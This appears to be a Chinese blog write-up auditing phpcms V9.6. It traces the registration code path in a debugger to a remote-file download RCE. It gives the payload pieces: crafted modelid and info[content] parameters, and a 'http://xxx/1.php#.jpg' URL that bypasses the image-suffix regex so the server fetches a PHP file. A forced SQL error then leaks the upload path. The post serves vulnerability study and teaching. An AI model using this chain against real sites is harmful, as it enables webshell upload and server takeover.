首页 > 编程语言 >代码审计 | phpcmsV9.6超详细RCE代审流程

代码审计 | phpcmsV9.6超详细RCE代审流程

时间:2024-09-29 14:48:59浏览次数:8  
标签:info img fields 代审 value field phpcmsV9.6 RCE array

《网安面试指南》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484339&idx=1&sn=356300f169de74e7a778b04bfbbbd0ab&chksm=c0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene=21#wechat_redirect

《Java代码审计》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

《Web安全》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484238&idx=1&sn=ca66551c31e37b8d726f151265fc9211&chksm=c0e47a12f793f3049fefde6e9ebe9ec4e2c7626b8594511bd314783719c216bd9929962a71e6&scene=21#wechat_redirect

《应急响应》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484262&idx=1&sn=8500d284ffa923638199071032877536&chksm=c0e47a3af793f32c1c20dcb55c28942b59cbae12ce7169c63d6229d66238fb39a8094a2c13a1&scene=21#wechat_redirect

《护网资料库》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484307&idx=1&sn=9e8e24e703e877301d43fcef94e36d0e&chksm=c0e47acff793f3d9a868af859fae561999930ebbe01fcea8a1a5eb99fe84d54655c4e661be53&scene=21#wechat_redirect

前言:

在代码审计中,漏洞出现都与数据输入有关。要跟用户输入的数据走,从数据流到控制流,看数据是否绕过,到达控制流

环境搭建

我使用的小皮面板搭建的,直接新建网站,然后点击配置,将端口修改为8081(不被占用即可)

图片

img

图片

img

在将zip包解压到wwwroot目录下(源码在附件中)

图片

img

访问安装页面,若不自动跳转,就自己拼接路径 http://192.168.111.12:8081/install/install.php

图片

img

一直点下一步,选择全新安装

图片

img

在账号设置中,自己填写记住即可

图片

img

然后就可以了

图片

img

图片

img

数据库

安装phpmyadmin来管理数据库

图片

img

成功后,点击管理,root/root即可进入

图片

img

代审:

在注册页面输入数据,跟进数据包,看看数据流

图片

img

这里我建议,拿burpsuite抓包,放包,方便后续的动态调试

http://192.168.111.12:8081/index.php?m=member&c=index&a=register&siteid=1

根据路由分析,了解到基本的业务逻辑,跟着url找到关键的register方法

打个断点,监听,把抓到的数据包放行,phpstorm即可接收到数据

图片

img

就可以看到数据包的内容,跟进,看看数据包经过什么函数/方法

图片

img

register方法走的过程中,他创建一个数组userinfo,里面包含用户的信息

图片

img

看到包含了两个文件,并且实例化了member_input这个类,把user info中的modelid参数进行传参。


if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']); }

跟进meber_input这个类之后呢,直接执行析构函数,看一眼做了什么,大致意思是数据库操作,赋值缓存,加载附件类之类的。


function __construct($modelid) { $this->db = pc_base::load_model('sitemodel_field_model'); $this->db_pre = $this->db->db_tablepre; $this->modelid = $modelid; $this->fields = getcache('model_field_'.$modelid,'model'); //初始化附件类 pc_base::load_sys_class('attachment','',0); $this->siteid = param::get_cookie('siteid'); $this->attachment = new attachment('content','0',$this->siteid); }

执行完后,可以看到modelid是10(默认)、fields是birthday、table_name是v9_model_field,直接找到数据库中的v9_model_field,看看表里面的内容,确实都对应的上。

图片

img

漏洞出现:

图片

img

图片

img

尝试将modelid改为11,fields数组的值都变成11对应的字段,先不管,步出看后面的数据流向。

图片

img

图片

img

步出之后,执行下面的代码,POST传参info(只要是我们用户可控制的参数都要注意,所有的漏洞存因都是用户可控)将POST请求中的info进行new_html_special_chars函数处理,然后在调用member_input对象中的get方法,将info值当作参数进行传参,并赋值给$user_model_info.

这其中modelid和info[data]中的data值,是可控参数

图片

img


$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);$user_model_info = $member_input->get($_POST['info']);

跟进,把info的value值,当作data传递,然后进行trim_script函数处理,跟进trim_script函数,一看是xss过滤

图片

img

图片

img

步出,继续往下走,可以清楚的看到modelid和info的值,是可控的

图片

img

图片

img

get函数:首先判断data是否为数组,然后遍历data键值对,判断data数据中的islink是否为1,field是否在dedar_filed数组中,跳过该字段进入下一个循环,将field值进行safe_replace函数过滤,获取fields中的值,判断name的长度,


if(is_array($data)) { foreach($data as $field=>$value) { if($data['islink']==1 && !in_array($field,$debar_filed)) continue; $field = safe_replace($field); $name = $this->fields[$field]['name']; $minlength = $this->fields[$field]['minlength']; $maxlength = $this->fields[$field]['maxlength']; $pattern = $this->fields[$field]['pattern']; $errortips = $this->fields[$field]['errortips']; if(empty($errortips)) $errortips = "$name 不符合要求!"; $length = empty($value) ? 0 : strlen($value); if($minlength && $length fields)) showmessage('模型中不存在'.$field.'字段'); if($maxlength && $length > $maxlength && !$isimport) { showmessage("$name 不得超过 $maxlength 个字符!"); } else { str_cut($value, $maxlength); } if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips); if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!"); $func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value); $info[$field] = $value; } } return $info;

在这里发现,将formtype当作要执行的函数,判断当前的对象是否存在func方法,(也就是formtype)。如果存在就调用该方法,并将field和value值当作参数传入

图片

img

首先查看当前对象有哪些方法可利用加上get(),一共6中方法,get()、textarea()、editor()、box()、images()、datetime()。欧克,也就是说filetype值一定要为这6个函数,否者直接退出不执行,

现在就是从这6个函数中,找到可以利用的点,


function textarea($field, $value) { if(!$this->fields[$field]['enablehtml']) $value = strip_tags($value); return $value; } function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesaveimage = $setting['enablesaveimage']; $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->attachment->download('content', $value,$watermark_enable); return $value; } function box($field, $value) { if($this->fields[$field]['boxtype'] == 'checkbox') { if(!is_array($value) || empty($value)) return false; array_shift($value); $value = ','.implode(',', $value).','; return $value; } elseif($this->fields[$field]['boxtype'] == 'multiple') { if(is_array($value) && count($value)>1) { $value = ','.implode(',', $value).','; return $value; } } else { return $value; } } function images($field, $value) { //取得图片列表 $pictures = $_POST[$field.'_url']; //取得图片说明 $pictures_alt = isset($_POST[$field.'_alt']) ? $_POST[$field.'_alt'] : array(); $array = $temp = array(); if(!empty($pictures)) { foreach($pictures as $key=>$pic) { $temp['url'] = $pic; $temp['alt'] = str_replace(array('"',"'"),'`',$pictures_alt[$key]); $array[$key] = $temp; } } $array = array2string($array); return $array; } function datetime($field, $value) { $setting = string2array($this->fields[$field]['setting']); if($setting['fieldtype']=='int') { $value = strtotime($value); } return $value; }

思路:

逆向查找,通过modelidfield两个值,定位到datetime,若modeild为11,field为vision,则会filetype就会等于box,最后就会执行box函数

图片

而这两个都是我们可控的参数,这边我们测试一下,是否可以调用其他函数呢?

图片

图片

答案是可以的,那现在我们就需要去看editor是否存在利用点

进来之后分析editor函数

图片

前面没有发现什么,重点再download函数中,跟进,这里将content,$value值传参进入

首先一步一步判断,这里将新建一个当前时间的目录,并且对value值进行new_stripslashes函数过滤,就是去除反斜线,再进行正则比配

从远程下载文件到本地,保存在当时的时间目录中,且必须是图片后缀


(href|src)=([\"|']?)([^ \"'>]+\.(gif|jpg|jpeg|bmp|png))\2

图片

图片

传入,这么一个东西,跟进

图片

ok现在就可以清楚的看到断点已经下来了,并且过了正则

图片

继续往下走,获取文件的后缀,将文件名替换成时间+随机数+后缀,然后再与前面的也是时间目录拼接,最后得到


/www/admin/phpcms.com_80/wwwroot/uploadfile/2024/0819/20240819024321324.jpg

图片

图片

在下面继续跟进,$this->upload_func是copy函数,将file(自己上传的文件)复制到服务器中的newfile中,只要执行这一段,服务端(远程服务器)就会接收到请求信息,再次查看时,服务器已经存储该文件。

图片

图片

图片

那这样是不是要想可以上传php恶意文件到服务器呢?

那我们就要思考怎么绕过正则,理清思路:现在只要url绕过正则达到上传php文件,就可以了


modelid=11&info[content]='url'(href|src)=([\"|']?)([^ \"'>]+\.(gif|jpg|jpeg|bmp|png))\2

这个正则只验证了后缀,再前面的的fillurl函数中检测url中是否存在#,若存在就取#号前的部分


http://xxx/1.php#.jpghttp://xxx/1.php

图片

且在正则中绕过成功

图片

测试,确实可以访问获取1.php文件。

图片

难点:

php文件可上传到服务器,但是不返回路径

在上传完文件后会将$user_model_info,插入到数据库中,就是我们info[content]

跟进!!!

将data,和table进行了传入,而此时数据库中的表变成了v9_member_detail


public function insert($data, $table, $return_insert_id = false, $replace = false) { if(!is_array( $data ) || $table == '' || count($data) == 0) { return false; } $fielddata = array_keys($data); $valuedata = array_values($data); array_walk($fielddata, array($this, 'add_special_char')); array_walk($valuedata, array($this, 'escape_string')); $field = implode (',', $fielddata); $value = implode (',', $valuedata); $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO'; $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')'; $return = $this->execute($sql); return $return_insert_id ? $this->insert_id() : $return; }

然后sql语句是:


INSERT INTO `phpcmsv9`.`v9_member_detail`(`content`,`userid`) VALUES ('href=http://192.168.111.12:8081/uploadfile/2024/0819/20240819093411467.php','6')

因为content这个字段,是更改过的,再v9_member_detail表中不存在这个字段,所以导致强行sql报错,直接就将文件路径报出来了

解决成功:强制sql报错,爆出文件路径,访问即可成功

标签:info,img,fields,代审,value,field,phpcmsV9.6,RCE,array
From: https://blog.csdn.net/liguangyao213/article/details/142632806

相关文章

  • Codeforces Round 975 (Div. 2)
    目录写在前面A签到B排序,模拟C数学,贪心D模拟,思维E树,贪心,暴力or长链剖分F贪心,枚举写在最后写在前面比赛地址:https://codeforces.com/contest/2019。唉唉不敢打div1只敢开小号打div2太菜了。A签到显然最优方案只有两种——取所有奇数位置或所有偶数位置。///*By......
  • Codeforces Round 975 (Div. 2) A-E
    人生中第一次正常\(div2\)爆写5题。cf给我正反馈最大的一次A直接找到最大的数字的位置,然后判断一下这个数字的位置下标的奇偶性就好了。然后如果有多个最大的就取奇数位置的。这样可以算出来一定是最优解#include<bits/stdc++.h>#definelllonglongusingnamespacestd;inl......
  • Android性能优化:getResources()与Binder交火导致的界面卡顿优化
    背景某轮测试发现,我们的设备运行一个第三方的App时,卡顿感非常明显:界面加载很慢,菊花转半天滑屏极度不跟手,目测观感帧率低于15对比机(竞品)也会稍微一点卡,但是好很多,基本不会有很大感觉的卡顿可以初步判定我们的设备存在性能问题,亟需优化,拉平到竞品水准。最后发现,这个问题实际......
  • Codeforces Round 975 Div.2 C题 解析
    C题题目链接:Problem-C-Codeforces题目描述思路......
  • Codeforces Round 975 (Div. 2) 题解:D、E
    第一次进前50,上分最爽的一次D.Speedbreaker对\(a\)按照时间升序排序,不难发现,对于升序排序后的数组,当我们搜到时间\(t\)时,记录已经搜过的时间对应原城市编号最小值为\(l\),最大值为\(r\),则我们一定要在\(a_t\)时间之前走过所有\([l,r]\)之间的城市。则若\(r-l+1>a_t\)则无解,因......
  • Manifesto of Open Source Project Protection (MOSPP)
    Version1,September2024https://CLimber-Rong.github.io/resource/mospp/mospp_en-us.txtThefundamentalpurposeoftheopensourcespiritistopromoteamorestabledevelopmentofacademicresearch,ratherthanbeingused,criticized,anddestroyedbype......
  • Spring面试题-@Autowired注解和@Resource注解的区别
    简要回答@Autowired默认情况下,@Autowired是按类型(byType)自动装配的。如果Spring容器中恰好有一个匹配的bean类型,它将自动注入这个bean。如果有多个相同类型的bean,则需要通过@Qualifier注解来指定注入哪一个bean。此外,@Autowired也可以按名称(byName)装配,但这通常需......
  • Codeforces Round 944 (Div. 4) A~G题解
    A\(min\)函数和\(max\)函数的使用,按照格式输出即可。#include<bits/stdc++.h>usingnamespacestd;typedeflonglongLL;typedefpair<int,int>PII;voidsolve(){intx,y;cin>>x>>y;cout<<min(x,y)<<'......
  • 《Learning Instance-Level Representation for Large-Scale Multi-Modal Pretraining
    系列论文研读目录文章目录系列论文研读目录摘要1.引言2.相关工作3.方法3.1.模型概述3.2.提取以实例为中心的表示法3.3.多模式预培训目标3.4.转移到下游任务4.实验预训练细节4.2.下游任务评价4.2.1零冲击产品分类4.2.2zero-shot图像-文本检索4.2.3零次产品检索4.2.4零......
  • Codeforces Round 973题解(E)
    E.PrefixGCD假设我们从一个空集合\(b\)开始,不断从\(a\)数组中选择一个元素添加到\(b\)集合的尾部,当把\(a\)数组的元素全部添加到\(b\)中后,得到的\(b\)即为所求的rearrange后的\(a\)。结论1:每次选择使得其和当前\(b\)中所有元素的最大公约数最小的那个\(a_i\)加入到\(b\)的末......